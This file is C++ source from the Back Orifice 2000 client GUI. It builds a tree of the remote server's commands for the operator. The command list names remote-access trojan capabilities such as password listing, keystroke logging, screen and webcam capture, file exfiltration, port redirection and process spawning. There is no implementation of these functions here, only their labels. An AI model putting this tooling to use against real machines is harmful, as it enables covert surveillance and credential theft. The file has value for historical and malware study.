BOCmdDescList.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:12k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. // BOCmdDescList.cpp: implementation of the CBOCmdDescList class.
  16. //
  17. //////////////////////////////////////////////////////////////////////
  18. #include "stdafx.h"
  19. #include "bo2kgui.h"
  20. #include "BOCmdDescList.h"
  21. #include "comm_native.h"
  22. #ifdef _DEBUG
  23. #undef THIS_FILE
  24. static char THIS_FILE[]=__FILE__;
  25. #define new DEBUG_NEW
  26. #endif
  27. //////////////////////////////////////////////////////////////////////
  28. // Construction/Destruction
  29. //////////////////////////////////////////////////////////////////////
  30. CBOCmdDescList::CBOCmdDescList()
  31. {
  32. int i;
  33. for(i=0;i<MAX_BO_COMMANDS;i++) {
  34. m_descList[i].svCommName[0]='';
  35. m_descList[i].svFolderName[0]='';
  36. }
  37. }
  38. CBOCmdDescList::~CBOCmdDescList()
  39. {
  40. }
  41. void CBOCmdDescList::SetDesc(int nCommand)
  42. {
  43. if(nCommand>=MAX_BO_COMMANDS) return;
  44. m_descList[nCommand].svCommName[0]='';
  45. m_descList[nCommand].svFolderName[0]='';
  46. }
  47. void CBOCmdDescList::SetDesc(int nCommand, char *szFolderName, char *szCommName, char *szArgDesc1, char *szArgDesc2, char *szArgDesc3, BOOL bNative)
  48. {
  49. if(nCommand>=MAX_BO_COMMANDS) return;
  50. m_descList[nCommand].bNative=bNative;
  51. if(szFolderName==NULL) m_descList[nCommand].svFolderName[0]='';
  52. else lstrcpyn(m_descList[nCommand].svFolderName,szFolderName,32);
  53. if(szCommName==NULL) m_descList[nCommand].svCommName[0]='';
  54. else lstrcpyn(m_descList[nCommand].svCommName,szCommName,32);
  55. if(szArgDesc1==NULL) m_descList[nCommand].svArgDesc1[0]='';
  56. else lstrcpyn(m_descList[nCommand].svArgDesc1,szArgDesc1,32);
  57. if(szArgDesc2==NULL) m_descList[nCommand].svArgDesc2[0]='';
  58. else lstrcpyn(m_descList[nCommand].svArgDesc2,szArgDesc2,32);
  59. if(szArgDesc3==NULL) m_descList[nCommand].svArgDesc3[0]='';
  60. else lstrcpyn(m_descList[nCommand].svArgDesc3,szArgDesc3,32);
  61. }
  62. int CBOCmdDescList::GetCommand(char *szFolderName, char *szCommName)
  63. {
  64. int i;
  65. for(i=0;i<MAX_BO_COMMANDS;i++) {
  66. if((lstrcmp(m_descList[i].svCommName,szCommName)==0) &&
  67.            (lstrcmp(m_descList[i].svFolderName,szFolderName)==0)) {
  68. return i;
  69. }
  70. }
  71. return -1;
  72. }
  73. char *CBOCmdDescList::GetFolderName(int nCommand)
  74. {
  75. char *ptr;
  76. if(nCommand>=MAX_BO_COMMANDS) return NULL;
  77. ptr=m_descList[nCommand].svFolderName;
  78. if(ptr[0]=='') return NULL;
  79. return ptr;
  80. }
  81. char *CBOCmdDescList::GetCommName(int nCommand)
  82. {
  83. char *ptr;
  84. if(nCommand>=MAX_BO_COMMANDS) return NULL;
  85. ptr=m_descList[nCommand].svCommName;
  86. if(ptr[0]=='') return NULL;
  87. return ptr;
  88. }
  89. char *CBOCmdDescList::GetArgDesc1(int nCommand)
  90. {
  91. char *ptr;
  92. if(nCommand>=MAX_BO_COMMANDS) return NULL;
  93. ptr=m_descList[nCommand].svArgDesc1;
  94. if(ptr[0]=='') return NULL;
  95. return ptr;
  96. }
  97. char *CBOCmdDescList::GetArgDesc2(int nCommand)
  98. {
  99. char *ptr;
  100. if(nCommand>=MAX_BO_COMMANDS) return NULL;
  101. ptr=m_descList[nCommand].svArgDesc2;
  102. if(ptr[0]=='') return NULL;
  103. return ptr;
  104. }
  105. char *CBOCmdDescList::GetArgDesc3(int nCommand)
  106. {
  107. char *ptr;
  108. if(nCommand>=MAX_BO_COMMANDS) return NULL;
  109. ptr=m_descList[nCommand].svArgDesc3;
  110. if(ptr[0]=='') return NULL;
  111. return ptr;
  112. }
  113. void CBOCmdDescList::FillTreeCtrl(CTreeCtrl *pTree)
  114. {
  115. // Initialize tree control
  116. pTree->DeleteAllItems();
  117. // Add all commands to tree
  118. int i;
  119. for(i=0;i<MAX_BO_COMMANDS;i++) {
  120. if(m_descList[i].svCommName[0]=='') continue;
  121. if(m_descList[i].svFolderName[0]=='') continue;
  122. // Look for folder name in top level
  123. HTREEITEM htiFolder;
  124. for(htiFolder=pTree->GetRootItem(); htiFolder!=NULL; htiFolder=pTree->GetNextSiblingItem(htiFolder)) {
  125. if(pTree->GetItemText(htiFolder).CompareNoCase(m_descList[i].svFolderName)==0) 
  126. break;
  127. }
  128. if(htiFolder==NULL) {
  129. // Make folder if it does not exist
  130. if(m_descList[i].bNative) {
  131. htiFolder=pTree->InsertItem(m_descList[i].svFolderName,0,1);
  132. } else {
  133. htiFolder=pTree->InsertItem(m_descList[i].svFolderName,2,3);
  134. }
  135. pTree->SetItemData(htiFolder,-1);
  136. }
  137. // Add item to folder
  138. HTREEITEM item;
  139. if(m_descList[i].bNative) {
  140. item=pTree->InsertItem(m_descList[i].svCommName,4,5,htiFolder);
  141. } else {
  142. item=pTree->InsertItem(m_descList[i].svCommName,6,7,htiFolder);
  143. }
  144. pTree->SetItemData(item,i);
  145. }
  146. }
  147. void CBOCmdDescList::SetNativeCommands(void)
  148. {
  149. int i;
  150. for(i=0;i<MAX_BO_COMMANDS;i++) {
  151. m_descList[i].svCommName[0]='';
  152. }
  153. SetDesc(BO_PING,"Simple","Ping",NULL,NULL,NULL,TRUE);
  154. SetDesc(BO_QUERY,"Simple","Query",NULL,NULL,NULL,TRUE);
  155. // System Commands
  156. SetDesc(BO_SYSREBOOT,"System","Reboot Machine",NULL,NULL,NULL,TRUE);
  157. SetDesc(BO_SYSLOCKUP,"System","Lock-up Machine",NULL,NULL,NULL,TRUE);
  158. SetDesc(BO_SYSLISTPASSWORDS,"System","List Passwords",NULL,NULL,NULL,TRUE);
  159. //SetDesc(BO_SYSVIEWCONSOLE,"System","View Console",NULL,NULL,NULL,TRUE);
  160. SetDesc(BO_SYSINFO,"System","Get System Info",NULL,NULL,NULL,TRUE);
  161. // Key Logging
  162. SetDesc(BO_SYSLOGKEYS,"Key Logging","Log Keystrokes",NULL,"Disk File",NULL,TRUE);
  163. SetDesc(BO_SYSENDKEYLOG,"Key Logging","End Keystroke Log",NULL,NULL,NULL,TRUE);
  164. SetDesc(BO_SYSLOGVIEW,"Key Logging","View Keystroke Log",NULL,"Disk File",NULL,TRUE);
  165. SetDesc(BO_SYSLOGDELETE,"Key Logging","Delete Keystroke Log",NULL,"Disk File",NULL,TRUE);
  166. // GUI Commands
  167. SetDesc(BO_SYSMESSAGEBOX,"GUI","System Message Box",NULL,"Title","Text",TRUE);
  168. // TCP/IP
  169. SetDesc(BO_REDIRADD,"TCP/IP","Map Port -> Other IP","Server Port","Target IP Address:Port",NULL,TRUE);
  170. SetDesc(BO_APPADD,"TCP/IP","Map Port -> Console App","Port","Full command line",NULL,TRUE);
  171. SetDesc(BO_HTTPENABLE,"TCP/IP","Map Port -> HTTP Fileserver","Port","Root Path",NULL,TRUE);
  172. SetDesc(BO_TCPFILERECEIVE,"TCP/IP","Map Port -> TCP File Receive","Port","Pathname",NULL,TRUE);
  173. SetDesc(BO_PORTLIST,"TCP/IP","List Mapped Ports",NULL,NULL,NULL,TRUE);
  174. SetDesc(BO_PORTDEL,"TCP/IP","Remove Mapped Port","Port",NULL,NULL,TRUE);
  175. SetDesc(BO_TCPFILESEND,"TCP/IP","TCP File Send","[Source Port]","Target Address:Port","Pathname",TRUE);
  176. // M$ Networking Commands
  177. SetDesc(BO_NETEXPORTADD,"M$ Networking","Add Share",NULL,"Pathname","Share Name",TRUE);
  178. SetDesc(BO_NETEXPORTDELETE,"M$ Networking","Remove Share",NULL,NULL,"Share Name",TRUE);
  179. SetDesc(BO_NETEXPORTLIST,"M$ Networking","List Shares",NULL,NULL,NULL,TRUE);
  180. SetDesc(BO_NETVIEW,"M$ Networking","List Shares on LAN",NULL,NULL,NULL,TRUE);
  181. SetDesc(BO_NETUSE,"M$ Networking","Map Shared Device",NULL,"Local Name, Remote Share Path","[Username:Password]",TRUE);
  182. SetDesc(BO_NETDELETE,"M$ Networking","Unmap Shared Device",NULL,"Local Name",NULL,TRUE);
  183. SetDesc(BO_NETCONNECTIONS,"M$ Networking","List Connections",NULL,NULL,NULL,TRUE);
  184. // Process Handling
  185. SetDesc(BO_PROCESSLIST,"Process Control","List Processes",NULL,"[Remote machine]",NULL,TRUE);
  186. SetDesc(BO_PROCESSKILL,"Process Control","Kill Process",NULL,"Process ID",NULL,TRUE);
  187. SetDesc(BO_PROCESSSPAWN,"Process Control","Start Process",NULL,"Pathname and arguments",NULL,TRUE);
  188. // Registry Management
  189. SetDesc(BO_REGISTRYCREATEKEY,"Registry","Create Key",NULL,"Full Key Path",NULL,TRUE);
  190. SetDesc(BO_REGISTRYSETVALUE,"Registry","Set Value",NULL,"Full Key Path","Type:(Value Name):Value Data",TRUE);
  191. SetDesc(BO_REGISTRYGETVALUE,"Registry","Get Value",NULL,"Full Key Path","Value Name",TRUE);
  192. SetDesc(BO_REGISTRYDELETEKEY,"Registry","Delete Key",NULL,"Full Key Path",NULL,TRUE);
  193. SetDesc(BO_REGISTRYDELETEVALUE,"Registry","Delete Value",NULL,"Full Key Path","Value Name",TRUE);
  194. SetDesc(BO_REGISTRYRENAMEKEY,"Registry","Rename Key",NULL,"Full Key Path","New Key Name",TRUE);
  195. SetDesc(BO_REGISTRYRENAMEVALUE,"Registry","Rename Value",NULL,"Full Key Path\\Value Name","New Value Name",TRUE);
  196. SetDesc(BO_REGISTRYENUMKEYS,"Registry","Enumerate Keys",NULL,"Root Key Path",NULL,TRUE);
  197. SetDesc(BO_REGISTRYENUMVALS,"Registry","Enumerate Values",NULL,"Full Key Path",NULL,TRUE);
  198. // Multimedia Controls 
  199. SetDesc(BO_MMCAPFRAME,"Multimedia","Capture Video Still","Device #","Filename","[Width][,Height][,BPP]",TRUE);
  200. SetDesc(BO_MMCAPAVI,"Multimedia","Capture AVI","Device #","Filename","[Sec][,Width][,Height][,BPP][,FPS]",TRUE);
  201. SetDesc(BO_MMPLAYSOUND,"Multimedia","Play WAV File",NULL,"Filename",NULL,TRUE);
  202. SetDesc(BO_MMLOOPSOUND,"Multimedia","Play WAV File In Loop",NULL,"Filename",NULL,TRUE);
  203. SetDesc(BO_MMSTOPSOUND,"Multimedia","Stop WAV File",NULL,NULL,NULL,TRUE);
  204. SetDesc(BO_MMLISTCAPS,"Multimedia","List Capture Devices",NULL,NULL,NULL,TRUE);
  205. SetDesc(BO_MMCAPSCREEN,"Multimedia","Capture Screen",NULL,"Filename",NULL,TRUE);
  206. // File and Directory Commands
  207. SetDesc(BO_DIRECTORYLIST,"File/Directory","List Directory",NULL,"Pathname",NULL,TRUE);
  208. SetDesc(BO_FILEFIND,"File/Directory","Find File",NULL,"Root path","Filename Spec",TRUE);
  209. SetDesc(BO_FILEDELETE,"File/Directory","Delete File",NULL,"Pathname",NULL,TRUE);
  210. SetDesc(BO_FILEVIEW,"File/Directory","View File",NULL,"Pathname",NULL,TRUE);
  211. SetDesc(BO_FILERENAME,"File/Directory","Move/Rename File",NULL,"Pathname","New Pathname",TRUE);
  212. SetDesc(BO_FILECOPY,"File/Directory","Copy File",NULL,"Source Pathname","Target Pathname",TRUE);
  213. SetDesc(BO_DIRECTORYMAKE,"File/Directory","Make Directory",NULL,"Pathname",NULL,TRUE);
  214. SetDesc(BO_DIRECTORYDELETE,"File/Directory","Remove Directory",NULL,"Pathname",NULL,TRUE);
  215. SetDesc(BO_SETFILEATTR,"File/Directory","Set File Attributes",NULL,"Pathname","Attributes (ARSHT)",TRUE);
  216. SetDesc(BO_RECEIVEFILE,"File/Directory","Receive File",NULL,"[BINDSTR,NET,ENC,AUTH]","Pathname",TRUE);
  217. SetDesc(BO_SENDFILE,"File/Directory","Send File",NULL,"Address[,NET,ENC,AUTH]","Pathname",TRUE);
  218. SetDesc(BO_EMITFILE,"File/Directory","Emit File",NULL,"[BINDSTR,NET,ENC,AUTH]","Pathname",TRUE);
  219. SetDesc(BO_LISTTRANSFERS,"File/Directory","List Transfers",NULL,NULL,NULL,TRUE);
  220. SetDesc(BO_CANCELTRANSFER,"File/Directory","Cancel Transfer",NULL,NULL,"Pathname",TRUE);
  221. // File Compression
  222. SetDesc(BO_FILEFREEZE,"Compression","Freeze File",NULL,"Pathname","Output Pathname",TRUE);
  223. SetDesc(BO_FILEMELT,"Compression","Melt File",NULL,"Pathname", "Output Pathname",TRUE);
  224. // Resolver
  225. SetDesc(BO_RESOLVEHOST,"DNS","Resolve Hostname",NULL,"Hostname",NULL,TRUE);
  226. SetDesc(BO_RESOLVEADDR,"DNS","Resolve Address",NULL,"Address",NULL,TRUE);
  227. // Server Control
  228. SetDesc(BO_SHUTDOWNSERVER,"Server Control","Shutdown Server",NULL,"Type 'DELETE' to ERADICATE",NULL,TRUE);
  229. SetDesc(BO_RESTARTSERVER,"Server Control","Restart Server",NULL,"[Host process name]",NULL,TRUE);
  230. SetDesc(BO_LOADPLUGINDLL,"Server Control","Load Plugin",NULL,"Plugin Filename",NULL,TRUE);
  231. SetDesc(BO_DEBUGPLUGINDLL,"Server Control","Debug Plugin",NULL,"Plugin Filename",NULL,TRUE);
  232. SetDesc(BO_LISTPLUGINDLLS,"Server Control","List Plugins",NULL,NULL,NULL,TRUE);
  233. SetDesc(BO_REMOVEPLUGINDLL,"Server Control","Remove Plugins","Plugin #",NULL,NULL,TRUE);
  234. SetDesc(BO_STARTCOMMANDSOCKET,"Server Control","Start Command Socket",NULL,"[NETMOD][,ENC][,AUTH]","[Bind Str]",TRUE);
  235. SetDesc(BO_LISTCOMMANDSOCKETS,"Server Control","List Command Sockets",NULL,NULL,NULL,TRUE);
  236. SetDesc(BO_STOPCOMMANDSOCKET,"Server Control","Stop Command Socket","Command Socket #",NULL,NULL,TRUE);
  237. // Plugin interface
  238. SetDesc(BO_PLUGINEXECUTE,"Legacy Buttplugs","Start Buttplug",NULL,"Plugin DLL::FunctionName","Arguments",TRUE);
  239. SetDesc(BO_PLUGINLIST,"Legacy Buttplugs","List Buttplugs",NULL,NULL,NULL,TRUE);
  240. SetDesc(BO_PLUGINKILL,"Legacy Buttplugs","Stop Buttplug","Plugin #",NULL,NULL,TRUE);
  241. }